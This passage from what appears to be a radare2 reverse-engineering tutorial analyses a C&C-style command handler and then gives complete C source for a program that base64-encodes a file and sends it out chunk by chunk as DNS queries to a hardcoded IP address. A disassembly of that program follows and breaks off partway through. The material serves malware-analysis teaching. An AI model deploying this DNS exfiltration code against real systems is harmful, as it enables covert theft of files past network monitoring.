|       |   0x004016fc      ffd0           call rax
|       |   0x004016fe      8945d4         mov dword [local_2ch], eax
|       |   0x00401701      4889dc         mov rsp, rbx
|      ,==< 0x00401704      e9dc000000     jmp 0x4017e5
|      ||   ; CODE XREF from 0x0040165e (sym.processCommand)
|      |`-> 0x00401709      807def32       cmp byte [local_11h], 0x32  ; [0x32:1]=255 ; '2' ; 50
|      |,=< 0x0040170d      0f85b8000000   jne 0x4017cb
|      ||   0x00401713      4889e0         mov rax, rsp
|      ||   0x00401716      4889c3         mov rbx, rax
|      ||   0x00401719      c745bc000000.  mov dword [local_44h], 0
|      ||   0x00401720      488b4d40       mov rcx, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|      ||   0x00401724      e8ef1a0000     call sym.strlen             ; size_t strlen(const char *s)
|      ||   0x00401729      4883e802       sub rax, 2
|      ||   0x0040172d      4889c2         mov rdx, rax
|      ||   0x00401730      4883ea01       sub rdx, 1
|      ||   0x00401734      488955c8       mov qword [local_38h], rdx
|      ||   0x00401738      4989c4         mov r12, rax
|      ||   0x0040173b      41bd00000000   mov r13d, 0
|      ||   0x00401741      4889c6         mov rsi, rax
|      ||   0x00401744      bf00000000     mov edi, 0
|      ||   0x00401749      4883c00f       add rax, 0xf
|      ||   0x0040174d      48c1e804       shr rax, 4
|      ||   0x00401751      48c1e004       shl rax, 4
|      ||   0x00401755      e8461a0000     call fcn.004031a0
|      ||   0x0040175a      4829c4         sub rsp, rax
|      ||   0x0040175d      488d442420     lea rax, [local_20h]        ; 0x20 ; 32
|      ||   0x00401762      4883c000       add rax, 0
|      ||   0x00401766      488945c0       mov qword [local_40h], rax
|      ||   0x0040176a      488b4d40       mov rcx, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|      ||   0x0040176e      e8a51a0000     call sym.strlen             ; size_t strlen(const char *s)
|      ||   0x00401773      488d48fe       lea rcx, [rax - 2]
|      ||   0x00401777      488b4540       mov rax, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|      ||   0x0040177b      488d5002       lea rdx, [rax + 2]          ; 2
|      ||   0x0040177f      488b45c0       mov rax, qword [local_40h]
|      ||   0x00401783      4989c8         mov r8, rcx
|      ||   0x00401786      4889c1         mov rcx, rax
|      ||   0x00401789      e87a1a0000     call sym.strncpy            ; char *strncpy(char *dest, const char *src, size_t  n)
|      ||   0x0040178e      488b45c0       mov rax, qword [local_40h]
|      ||   0x00401792      488d55bc       lea rdx, [local_44h]
|      ||   0x00401796      4989d0         mov r8, rdx
|      ||   0x00401799      488d15663800.  lea rdx, [0x00405006]       ; "%d"
|      ||   0x004017a0      4889c1         mov rcx, rax
|      ||   0x004017a3      e8781a0000     call sym.sscanf             ; int sscanf(const char *s, const char *format,   ...)
|      ||   0x004017a8      488b45c0       mov rax, qword [local_40h]
|      ||   0x004017ac      ba84030000     mov edx, 0x384              ; 900
|      ||   0x004017b1      89c1           mov ecx, eax
|      ||   0x004017b3      488b05ba7a00.  mov rax, qword sym.imp.KERNEL32.dll_Beep ; [0x409274:8]=0x9484 reloc.KERNEL32.dll_Beep
|      ||   0x004017ba      ffd0           call rax
|      ||   0x004017bc      b905000000     mov ecx, 5
|      ||   0x004017c1      e81a1a0000     call sym.sleep              ; int sleep(int s)
|      ||   0x004017c6      4889dc         mov rsp, rbx
|     ,===< 0x004017c9      eb1a           jmp 0x4017e5
|     |||   ; CODE XREF from 0x0040170d (sym.processCommand)
|     ||`-> 0x004017cb      807def33       cmp byte [local_11h], 0x33  ; [0x33:1]=255 ; '3' ; 51
|     ||,=< 0x004017cf      750a           jne 0x4017db
|     |||   0x004017d1      b900000000     mov ecx, 0
|     |||   0x004017d6      e88d1a0000     call sym.exit
|     |||   ; CODE XREF from 0x004017cf (sym.processCommand)
|     ||`-> 0x004017db      b90a000000     mov ecx, 0xa
|     ||    0x004017e0      e8fb190000     call sym.sleep              ; int sleep(int s)
|     ||    ; CODE XREF from 0x00401704 (sym.processCommand)
|     ||    ; CODE XREF from 0x004017c9 (sym.processCommand)
|     ``--> 0x004017e5      90             nop
|           0x004017e6      488d65f8       lea rsp, [local_8h]
|           0x004017ea      5b             pop rbx
|           0x004017eb      5e             pop rsi
|           0x004017ec      5f             pop rdi
|           0x004017ed      415c           pop r12
|           0x004017ef      415d           pop r13
|           0x004017f1      415e           pop r14
|           0x004017f3      415f           pop r15
|           0x004017f5      5d             pop rbp
\           0x004017f6      c3             ret
[0x00401634]>                                                                                           

As you see, the recived command, will first contain a (char) number, 1, 2 or 3

And according to that number some action will be done inside this function, we can see that by examining those CMP instructions:

|           0x0040165a      807def31       cmp byte [local_11h], 0x31  ; [0x31:1]=255 ; '1' ; 49
|       ,=< 0x0040165e      0f85a5000000   jne 0x401709
|       |   0x00401664      4889e0         mov rax, rsp

The first one will run a MessageBox

|       |   0x004016bc      e8571b0000     call sym.strlen             ; size_t strlen(const char *s)
|       |   0x004016c1      488d48fe       lea rcx, [rax - 2]
|       |   0x004016c5      488b4540       mov rax, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|       |   0x004016c9      488d5002       lea rdx, [rax + 2]          ; 2
|       |   0x004016cd      488b45d8       mov rax, qword [local_28h]
|       |   0x004016d1      4989c8         mov r8, rcx
|       |   0x004016d4      4889c1         mov rcx, rax
|       |   0x004016d7      e82c1b0000     call sym.strncpy            ; char *strncpy(char *dest, const char *src, size_t  n)
|       |   0x004016dc      488b45d8       mov rax, qword [local_28h]
|       |   0x004016e0      41b930000000   mov r9d, 0x30               ; '0' ; 48
|       |   0x004016e6      4c8d05133900.  lea r8, str.pwned           ; section..rdata ; 0x405000 ; "pwned"
|       |   0x004016ed      4889c2         mov rdx, rax
|       |   0x004016f0      b900000000     mov ecx, 0
|       |   0x004016f5      488b05387d00.  mov rax, qword sym.imp.USER32.dll_MessageBoxA ; [0x409434:8]=0x97d2 reloc.USER32.dll_MessageBoxA

Second one will do a Sleep (and a call to an “unknown func”)

|      ||   0x0040172d      4889c2         mov rdx, rax
|      ||   0x00401730      4883ea01       sub rdx, 1
|      ||   0x00401734      488955c8       mov qword [local_38h], rdx
|      ||   0x00401738      4989c4         mov r12, rax
|      ||   0x0040173b      41bd00000000   mov r13d, 0
|      ||   0x00401741      4889c6         mov rsi, rax
|      ||   0x00401744      bf00000000     mov edi, 0
|      ||   0x00401749      4883c00f       add rax, 0xf
|      ||   0x0040174d      48c1e804       shr rax, 4
|      ||   0x00401751      48c1e004       shl rax, 4
|      ||   0x00401755      e8461a0000     call fcn.004031a0
|      ||   0x0040175a      4829c4         sub rsp, rax
|      ||   0x0040175d      488d442420     lea rax, [local_20h]        ; 0x20 ; 32
|      ||   0x00401762      4883c000       add rax, 0
|      ||   0x00401766      488945c0       mov qword [local_40h], rax
|      ||   0x0040176a      488b4d40       mov rcx, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|      ||   0x0040176e      e8a51a0000     call sym.strlen             ; size_t strlen(const char *s)
|      ||   0x00401773      488d48fe       lea rcx, [rax - 2]
|      ||   0x00401777      488b4540       mov rax, qword [arg_40h]    ; [0x40:8]=-1 ; '@' ; 64
|      ||   0x0040177b      488d5002       lea rdx, [rax + 2]          ; 2
|      ||   0x0040177f      488b45c0       mov rax, qword [local_40h]
|      ||   0x00401783      4989c8         mov r8, rcx
|      ||   0x00401786      4889c1         mov rcx, rax
|      ||   0x00401789      e87a1a0000     call sym.strncpy            ; char *strncpy(char *dest, const char *src, size_t  n)
|      ||   0x0040178e      488b45c0       mov rax, qword [local_40h]
|      ||   0x00401792      488d55bc       lea rdx, [local_44h]
|      ||   0x00401796      4989d0         mov r8, rdx
|      ||   0x00401799      488d15663800.  lea rdx, [0x00405006]       ; "%d"
|      ||   0x004017a0      4889c1         mov rcx, rax
|      ||   0x004017a3      e8781a0000     call sym.sscanf             ; int sscanf(const char *s, const char *format,   ...)
|      ||   0x004017a8      488b45c0       mov rax, qword [local_40h]
|      ||   0x004017ac      ba84030000     mov edx, 0x384              ; 900
|      ||   0x004017b1      89c1           mov ecx, eax
|      ||   0x004017b3      488b05ba7a00.  mov rax, qword sym.imp.KERNEL32.dll_Beep ; [0x409274:8]=0x9484 reloc.KERNEL32.dll_Beep
|      ||   0x004017ba      ffd0           call rax
|      ||   0x004017bc      b905000000     mov ecx, 5

Then option 3 will just quit the program

|     |||   ; CODE XREF from 0x0040170d (sym.processCommand)
|     ||`-> 0x004017cb      807def33       cmp byte [local_11h], 0x33  ; [0x33:1]=255 ; '3' ; 51
|     ||,=< 0x004017cf      750a           jne 0x4017db
|     |||   0x004017d1      b900000000     mov ecx, 0
|     |||   0x004017d6      e88d1a0000     call sym.exit

And after that a simple sleep will be run.

A good exercise for you here is to create a script with the python radare2 binding

And log all the parameters passed to this function, like the following:

[0x0040165a]> afvd
arg arg_40h = 0x0060fb10  0x000000000060fb40   @.`..... (PRIVATE  ) r11 (1:secret message one)

To create a record on what the CandC server is actually sending. That is commonly done in malware analysis, especially when it comes to stuff like DDOS botnets cause it may be interesting to see how the targets are evolving

In this case we see that 1 is the option, and secret message one the string.

As we can see, a MessageBox should pop with “secret message one” as its text, no mystery. But what about that mysterious function, it is your turn to (not discover, cause you already know from the code) but to explain what it does, try to use WA to edit the code and make the program go there instead.

And that it is. Let’s move to the next example

Base64 encoding/decoding in C and File exfiltration through DNS

So I guess you already know about base64. It is used to encode any kind of file inside a string/text. Comes in very handy when you want to send non text files easily over the network. Especially when dealing with protocols like HTTP when everything is ASCII and a null byte may break the thing.

In this DNS example, we can use it to encode a file and send it over the network, the thing is, that file can be a text file or any other kind of file like an image, a exe, audio file or whatever.

I use the following libs for the b64 encoding:

  • https://web.mit.edu/freebsd/head/contrib/wpa/src/utils/base64.c
  • https://web.mit.edu/freebsd/head/contrib/wpa/src/utils/base64.h

Pure copy and paste, you’ll probably need to import some extra libraries for the NULL and size_t variables to work, or you can just substitute them with 0’s and short ints I guess.

And the progam is this one:

#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>
#pragma comment(lib, "ws2_32")
#define BUFLEN 65536
#define CHUNKSIZE 25
struct dns_header
{
    unsigned short id; // identification number

    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritive answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag

    unsigned char rcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available

    unsigned short q_count; // number of question entries
    unsigned short ans_count; // number of answer entries
    unsigned short auth_count; // number of authority entries
    unsigned short add_count; // number of resource entries
};

struct question{
    unsigned short type;
    unsigned short tclass;
};

typedef struct
{
    unsigned char *name;
    struct question *ques;
} query;


void sendFile(char * file){

    SOCKET sock;
    WSADATA wsa;
    SOCKADDR_IN ReceiverAddr , SrcInfo;
    SOCKADDR_IN SenderAddr;
    int slen = sizeof(ReceiverAddr) ;
    int port = 53;


	if (WSAStartup(MAKEWORD(2,2),&wsa) != 0){
		printf("Failed. Error Code : %d",WSAGetLastError());
		return 1;
	}

    if((sock = socket(AF_INET , SOCK_DGRAM, IPPROTO_UDP )) == INVALID_SOCKET){
        printf("Could not create socket : %d" , WSAGetLastError());
    }

    ReceiverAddr.sin_family = AF_INET;
    ReceiverAddr.sin_port = htons(port);
    ReceiverAddr.sin_addr.s_addr = inet_addr("192.168.0.50");


    unsigned char buf[65536],*qname,*reader;

    struct question *qinfo = NULL;
    struct dns_header *dns = NULL;

    // DNS QUERY HEADERS SETUP
    dns = (struct dns_header *)&buf;
    dns->id = (unsigned short) htons(getpid());
    dns->qr = 0; //This is a query
    dns->opcode = 0; //This is a standard query
    dns->aa = 0; //Not Authoritative
    dns->tc = 0; //This message is not truncated
    dns->rd = 1; //Recursion Desired
    dns->ra = 0; //Recursion not available! hey we dont have it (lol)
    dns->z = 0;
    dns->ad = 0;
    dns->cd = 0;
    dns->rcode = 0;
    dns->q_count = htons(1); //we have only 1 question
    dns->ans_count = 0;
    dns->auth_count = 0;
    dns->add_count = 0;


    DWORD  dwBytesRead = 0;
    char   ReadBuffer[CHUNKSIZE] = {0};
    int err;
    short totalBytesRead = 0;
    int r = 0;
    int i = 0;
    int hFile = CreateFile(file   ,            // file to open
                       GENERIC_READ,          // open for read
                       FILE_SHARE_READ,       // share for read
                       NULL,                  // default security
                       OPEN_EXISTING,         // existing file only
                       FILE_ATTRIBUTE_NORMAL, // normal file
                       NULL);
    int fsize = GetFileSize(hFile, NULL);

    while(totalBytesRead < fsize){

            ReadFile(hFile, ReadBuffer, CHUNKSIZE-1, &dwBytesRead, NULL);
            char *res= base64_encode(ReadBuffer,dwBytesRead,&i);
            char message[i+1];
            message[0] = i;
            strncpy(message+1,res,i+1);

            // DNS QUESTION
            qname =(unsigned char*)&buf[sizeof(struct dns_header)];
            strncpy(qname, message, i+1);

            // UPDATE THE QUERY BUFFER
            qinfo =(struct question*)&buf[sizeof(struct dns_header) + (strlen((const char*)qname) + 1)];
            // SET CLASS
            qinfo->type = htons(16); // 1 == 'A', 16 == 'TXT', we ask for TXT registers
            qinfo->tclass = htons(1); // 1 = INTERNET

            if (sendto(sock,(char*)buf,sizeof(struct dns_header) + (strlen((const char*)qname)+1) + sizeof(struct question) , 0 , (struct SOCKADDR *) &ReceiverAddr, slen) == SOCKET_ERROR){
                printf("sendto() failed with error code : %d ", WSAGetLastError());
                exit(EXIT_FAILURE);
            }
            else{
                printf("%d bytes now sent\n", totalBytesRead);
            }
            sleep(1);
            totalBytesRead += dwBytesRead;
    }
}

int main()
{

    char * file = "C:\\samples\\newfile.txt";
    printf("Hello base64!, now sending: %s \n", file);
    sendFile(file);

    return 0;
}

Again, pretty similar but this time we see a combination of pieces of code we already worked with, this time with base64 encoding within.

The progam will read the newfile.txt file from disk, chunk by chunk, encoding each chunk in base64 and sending it as a DNS query to a remote server, it’ll wait 1 second between each query.

And again, sorry for this extra large output

Let’s see:

[0x00401b80]> pdf
/ (fcn) sym.sendFile 1250
|   sym.sendFile (int arg_10010h, int arg_10012h, int arg_10014h, int arg_10020h, int arg_101b8h, int arg_101c0h, int arg_101c8h, int arg_101d0h, int arg_101dch, int arg_101e0h, int arg_101e4h, int arg_101e8h, int arg_101f0h, int arg_101f8h, int arg_10204h, int arg_1020ah, int arg_1020ch, int arg_10218h, int arg_10250h, int arg_30h, int arg_40h, int arg_80h);
|           ; var int local_34h @ rbp-0x34
|           ; var int local_30h @ rbp-0x30
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h @ rbp-0x20
|           ; var int local_18h @ rbp-0x18
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; arg int arg_10010h @ rbp+0x10010
|           ; arg int arg_10012h @ rbp+0x10012
|           ; arg int arg_10014h @ rbp+0x10014
|           ; arg int arg_10020h @ rbp+0x10020
|           ; arg int arg_101b8h @ rbp+0x101b8
|           ; arg int arg_101c0h @ rbp+0x101c0
|           ; arg int arg_101c8h @ rbp+0x101c8
|           ; arg int arg_101d0h @ rbp+0x101d0
|           ; arg int arg_101dch @ rbp+0x101dc
|           ; arg int arg_101e0h @ rbp+0x101e0
|           ; arg int arg_101e4h @ rbp+0x101e4
|           ; arg int arg_101e8h @ rbp+0x101e8
|           ; arg int arg_101f0h @ rbp+0x101f0
|           ; arg int arg_101f8h @ rbp+0x101f8
|           ; arg int arg_10204h @ rbp+0x10204
|           ; arg int arg_1020ah @ rbp+0x1020a
|           ; arg int arg_1020ch @ rbp+0x1020c
|           ; arg int arg_10218h @ rbp+0x10218
|           ; arg int arg_10250h @ rbp+0x10250
|           ; var int local_20h_2 @ rsp+0x20
|           ; var int local_28h_2 @ rsp+0x28
|           ; arg int arg_30h @ rsp+0x30
|           ; arg int arg_40h @ rsp+0x40
|           ; arg int arg_80h @ rsp+0x80
|           ; CALL XREF from 0x00402094 (sym.main)
|           0x00401b80      55             push rbp
|           0x00401b81      4155           push r13
|           0x00401b83      4154           push r12
|           0x00401b85      57             push rdi
|           0x00401b86      56             push rsi
|           0x00401b87      53             push rbx
|           0x00401b88      b898020100     mov eax, 0x10298
|           0x00401b8d      e8ce190000     call fcn.00403560
|           0x00401b92      4829c4         sub rsp, rax
|           0x00401b95      488dac248000.  lea rbp, [arg_80h]          ; 0x80 ; 128
|           0x00401b9d      48898d500201.  mov qword [arg_10250h], rcx ; [0x10250:8]=0
|           0x00401ba4      c7850c020100.  mov dword [arg_1020ch], 0x10 ; 16
|           0x00401bae      c78504020100.  mov dword [arg_10204h], 0x35 ; '5' ; 53
|           0x00401bb8      488d85200001.  lea rax, [arg_10020h]       ; 0x10020
|           0x00401bbf      4889c2         mov rdx, rax
|           0x00401bc2      b902020000     mov ecx, 0x202              ; 514
|           0x00401bc7      488b05527800.  mov rax, qword sym.imp.WS2_32.dll_WSAStartup ; [0x409420:8]=0x97c8 reloc.WS2_32.dll_WSAStartup
|           0x00401bce      ffd0           call rax
|           0x00401bd0      85c0           test eax, eax
|       ,=< 0x00401bd2      741c           je 0x401bf0
|       |   0x00401bd4      488b053d7800.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409418:8]=0x97b6 reloc.WS2_32.dll_WSAGetLastError
|       |   0x00401bdb      ffd0           call rax
|       |   0x00401bdd      89c2           mov edx, eax
|       |   0x00401bdf      488d0d7a3400.  lea rcx, str.Failed._Error_Code_:__d ; 0x405060 ; "Failed. Error Code : %d"
|       |   0x00401be6      e8fd190000     call sym.printf             ; int printf(const char *format)
|      ,==< 0x00401beb      e962040000     jmp 0x402052
|      ||   ; CODE XREF from 0x00401bd2 (sym.sendFile)
|      |`-> 0x00401bf0      41b811000000   mov r8d, 0x11               ; 17
|      |    0x00401bf6      ba02000000     mov edx, 2
|      |    0x00401bfb      b902000000     mov ecx, 2
|      |    0x00401c00      488b05397800.  mov rax, qword sym.imp.WS2_32.dll_socket ; [0x409440:8]=0x97f4 reloc.WS2_32.dll_socket
|      |    0x00401c07      ffd0           call rax
|      |    0x00401c09      488985f80101.  mov qword [arg_101f8h], rax ; [0x101f8:8]=0
|      |    0x00401c10      4883bdf80101.  cmp qword [arg_101f8h], 0xffffffffffffffff
|      |,=< 0x00401c18      7517           jne 0x401c31
|      ||   0x00401c1a      488b05f77700.  mov rax, qword sym.imp.WS2_32.dll_WSAGetLastError ; [0x409418:8]=0x97b6 reloc.WS2_32.dll_WSAGetLastError
|      ||   0x00401c21      ffd0           call rax
|      ||   0x00401c23      89c2           mov edx, eax
|      ||   0x00401c25      488d0d4c3400.  lea rcx, str.Could_not_create_socket_:__d ; 0x405078 ; "Could not create socket : %d"
|      ||   0x00401c2c      e8b7190000     call sym.printf             ; int printf(const char *format)
|      ||   ; CODE XREF from 0x00401c18 (sym.sendFile)
|      |`-> 0x00401c31      66c785100001.  mov word [arg_10010h], 2    ; [0x10010:2]=0xfffe
|      |    0x00401c3a      8b8504020100   mov eax, dword [arg_10204h] ; [0x10204:4]=0
|      |    0x00401c40      0fb7c0         movzx eax, ax
|      |    0x00401c43      89c1           mov ecx, eax
|      |    0x00401c45      488b05dc7700.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409428:8]=0x97d6 reloc.WS2_32.dll_htons
|      |    0x00401c4c      ffd0           call rax
|      |    0x00401c4e      668985120001.  mov word [arg_10012h], ax   ; [0x10012:2]=0xffff
|      |    0x00401c55      488d0d393400.  lea rcx, str.192.168.0.50   ; 0x405095 ; "192.168.0.50"
|      |    0x00401c5c      488b05cd7700.  mov rax, qword sym.imp.WS2_32.dll_inet_addr ; [0x409430:8]=0x97de reloc.WS2_32.dll_inet_addr
|      |    0x00401c63      ffd0           call rax
|      |    0x00401c65      898514000100   mov dword [arg_10014h], eax ; [0x10014:4]=-1
|      |    0x00401c6b      48c785f00101.  mov qword [arg_101f0h], 0   ; [0x101f0:8]=0
|      |    0x00401c76      48c785e80101.  mov qword [arg_101e8h], 0   ; [0x101e8:8]=0
|      |    0x00401c81      488d45f0       lea rax, [local_10h]
|      |    0x00401c85      488985e80101.  mov qword [arg_101e8h], rax ; [0x101e8:8]=0
|      |    0x00401c8c      e8b7190000     call sym.getpid             ; int getpid(void)
|      |    0x00401c91      0fb7c0         movzx eax, ax
|      |    0x00401c94      89c1           mov ecx, eax
|      |    0x00401c96      488b058b7700.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409428:8]=0x97d6 reloc.WS2_32.dll_htons
|      |    0x00401c9d      ffd0           call rax
|      |    0x00401c9f      89c2           mov edx, eax
|      |    0x00401ca1      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401ca8      668910         mov word [rax], dx
|      |    0x00401cab      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401cb2      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |    0x00401cb6      83e27f         and edx, 0x7f
|      |    0x00401cb9      885002         mov byte [rax + 2], dl
|      |    0x00401cbc      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401cc3      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |    0x00401cc7      83e287         and edx, 0xffffff87
|      |    0x00401cca      885002         mov byte [rax + 2], dl
|      |    0x00401ccd      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401cd4      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |    0x00401cd8      83e2fb         and edx, 0xfffffffb
|      |    0x00401cdb      885002         mov byte [rax + 2], dl
|      |    0x00401cde      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401ce5      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |    0x00401ce9      83e2fd         and edx, 0xfffffffd
|      |    0x00401cec      885002         mov byte [rax + 2], dl
|      |    0x00401cef      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401cf6      0fb65002       movzx edx, byte [rax + 2]   ; [0x2:1]=255 ; 2
|      |    0x00401cfa      83ca01         or edx, 1
|      |    0x00401cfd      885002         mov byte [rax + 2], dl
|      |    0x00401d00      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d07      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |    0x00401d0b      83e27f         and edx, 0x7f
|      |    0x00401d0e      885003         mov byte [rax + 3], dl
|      |    0x00401d11      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d18      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |    0x00401d1c      83e2bf         and edx, 0xffffffbf
|      |    0x00401d1f      885003         mov byte [rax + 3], dl
|      |    0x00401d22      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d29      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |    0x00401d2d      83e2df         and edx, 0xffffffdf
|      |    0x00401d30      885003         mov byte [rax + 3], dl
|      |    0x00401d33      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d3a      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |    0x00401d3e      83e2ef         and edx, 0xffffffef
|      |    0x00401d41      885003         mov byte [rax + 3], dl
|      |    0x00401d44      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d4b      0fb65003       movzx edx, byte [rax + 3]   ; [0x3:1]=255 ; 3
|      |    0x00401d4f      83e2f0         and edx, 0xfffffff0
|      |    0x00401d52      885003         mov byte [rax + 3], dl
|      |    0x00401d55      b901000000     mov ecx, 1
|      |    0x00401d5a      488b05c77600.  mov rax, qword sym.imp.WS2_32.dll_htons ; [0x409428:8]=0x97d6 reloc.WS2_32.dll_htons
|      |    0x00401d61      ffd0           call rax
|      |    0x00401d63      89c2           mov edx, eax
|      |    0x00401d65      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d6c      66895004       mov word [rax + 4], dx
|      |    0x00401d70      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d77      66c740060000   mov word [rax + 6], 0
|      |    0x00401d7d      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d84      66c740080000   mov word [rax + 8], 0
|      |    0x00401d8a      488b85e80101.  mov rax, qword [arg_101e8h] ; [0x101e8:8]=0
|      |    0x00401d91      66c7400a0000   mov word [rax + 0xa], 0
|      |    0x00401d97      c745ec000000.  mov dword [local_14h], 0
|      |    0x00401d9e      48c745d00000.  mov qword [local_30h], 0
|      |    0x00401da6      48c745d80000.  mov qword [local_28h], 0
|      |    0x00401dae      48c745e00000.  mov qword [local_20h], 0
|      |    0x00401db6      c645e800       mov byte [local_18h], 0
|      |    0x00401dba      66c7850a0201.  mov word [arg_1020ah], 0    ; [0x1020a:2]=0
|      |    0x00401dc3      c785e4010100.  mov dword [arg_101e4h], 0   ; [0x101e4:4]=0
|      |    0x00401dcd      c745cc000000.  mov dword [local_34h], 0
|      |    0x00401dd4      48c744243000.  mov qword [arg_30h], 0
|      |    0x00401ddd      c74424288000.  mov dword [local_28h_2], 0x80 ; [0x80:4]=-1 ; 128
|      |    0x00401de5      c74424200300.  mov dword [local_20h_2], 3
|      |    0x00401ded      41b900000000   mov r9d, 0
|      |    0x00401df3      41b801000000   mov r8d, 1
|      |    0x00401df9      ba00000080     mov edx, 0x80000000
|      |    0x00401dfe      488b8d500201.  mov rcx, qword [arg_10250h] ; [0x10250:8]=0
|      |    0x00401e05      488b05447400.  mov rax, qword sym.imp.KERNEL32.dll_CreateFileA ; [0x409250:8]=0x9450 reloc.KERNEL32.dll_CreateFileA ; "P\x94"
|      |    0x00401e0c      ffd0           call rax
|      |    0x00401e0e      8985e0010100   mov dword [arg_101e0h], eax ; [0x101e0:4]=0
|      |    0x00401e14      8b85e0010100   mov eax, dword [arg_101e0h] ; [0x101e0:4]=0
|      |    0x00401e1a      4898           cdqe
|      |    0x00401e1c      ba00000000     mov edx, 0
|      |    0x00401e21      4889c1         mov rcx, rax
|      |    0x00401e24      488b05557400.  mov rax, qword sym.imp.KERNEL32.dll_GetFileSize ; [0x409280:8]=0x94ce reloc.KERNEL32.dll_GetFileSize
|      |    0x00401e2b      ffd0           call rax
|      |    0x00401e2d      8985dc010100   mov dword [arg_101dch], eax ; [0x101dc:4]=0
|      |,=< 0x00401e33      e907020000     jmp 0x40203f
|      ||   ; CODE XREF from 0x0040204c (sym.sendFile)
|     .---> 0x00401e38      4889e0         mov rax, rsp
|     :||   0x00401e3b      4889c7         mov rdi, rax
|     :||   0x00401e3e      8b85e0010100   mov eax, dword [arg_101e0h] ; [0x101e0:4]=0
|     :||   0x00401e44      4898           cdqe
|     :||   0x00401e46      4889c1         mov rcx, rax
|     :||   0x00401e49      488d55ec       lea rdx, [local_14h]
|     :||   0x00401e4d      488d45d0       lea rax, [local_30h]
|     :||   0x00401e51      48c744242000.  mov qword [local_20h_2], 0
|     :||   0x00401e5a      4989d1         mov r9, rdx
|     :||   0x00401e5d      41b818000000   mov r8d, 0x18               ; 24
|     :||   0x00401e63      4889c2         mov rdx, rax
|     :||   0x00401e66      488b05537400.  mov rax, qword sym.imp.KERNEL32.dll_ReadFile ; [0x4092c0:8]=0x9576 reloc.KERNEL32.dll_ReadFile ; "v\x95"
|     :||   0x00401e6d      ffd0           call rax
|     :||   0x00401e6f      8b55ec         mov edx, dword [local_14h]
|     :||   0x00401e72      488d4dcc       lea rcx, [local_34h]
|     :||   0x00401e76      488d45d0       lea rax, [local_30h]
|     :||   0x00401e7a      4989c8         mov r8, rcx
|     :||   0x00401e7d      4889c1         mov rcx, rax
|     :||   0x00401e80      e8cbf6ffff     call sym.base64_encode
|     :||   0x00401e85      4898           cdqe
|     :||   0x00401e87      488985d00101.  mov qword [arg_101d0h], rax ; [0x101d0:8]=0
|     :||   0x00401e8e      8b45cc         mov eax, dword [local_34h]
|     :||   0x00401e91      83c001         add eax, 1
|     :||   0x00401e94      4863d0         movsxd rdx, eax
|     :||   0x00401e97      4883ea01       sub rdx, 1
|     :||   0x00401e9b      488995c80101.  mov qword [arg_101c8h], rdx ; [0x101c8:8]=0
|     :||   0x00401ea2      4863d0         movsxd rdx, eax
|     :||   0x00401ea5      4889d3         mov rbx, rdx
|     :||   0x00401ea8      be00000000     mov esi, 0
|     :||   0x00401ead      4863d0         movsxd rdx, eax
|     :||   0x00401eb0      4989d4         mov r12, rdx
|     :||   0x00401eb3      41bd00000000   mov r13d, 0
|     :||   0x00401eb9      4898           cdqe
|     :||   0x00401ebb      4883c00f       add rax, 0xf
|     :||   0x00401ebf      48c1e804       shr rax, 4
|     :||   0x00401ec3      48c1e004       shl rax, 4
|     :||   0x00401ec7      e894160000     call fcn.00403560
|     :||   0x00401ecc      4829c4         sub rsp, rax
|     :||   0x00401ecf      488d442440     lea rax, [arg_40h]          ; 0x40 ; '@' ; 64
|     :||   0x00401ed4      4883c000       add rax, 0
|     :||   0x00401ed8      488985c00101.  mov qword [arg_101c0h], rax ; [0x101c0:8]=0
|     :||   0x00401edf      8b45cc         mov eax, dword [local_34h]
|     :||   0x00401ee2      89c2           mov edx, eax
|     :||   0x00401ee4      488b85c00101.  mov rax, qword [arg_101c0h] ; [0x101c0:8]=0
